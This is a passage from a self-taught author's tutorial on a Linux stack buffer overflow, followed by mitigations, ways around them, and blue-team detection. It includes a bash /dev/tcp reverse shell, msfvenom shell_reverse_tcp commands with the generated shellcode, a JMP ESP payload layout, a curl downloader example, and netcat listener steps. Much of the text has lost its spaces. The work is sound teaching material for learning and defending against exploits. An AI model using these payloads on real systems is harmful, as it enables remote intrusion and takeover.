0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

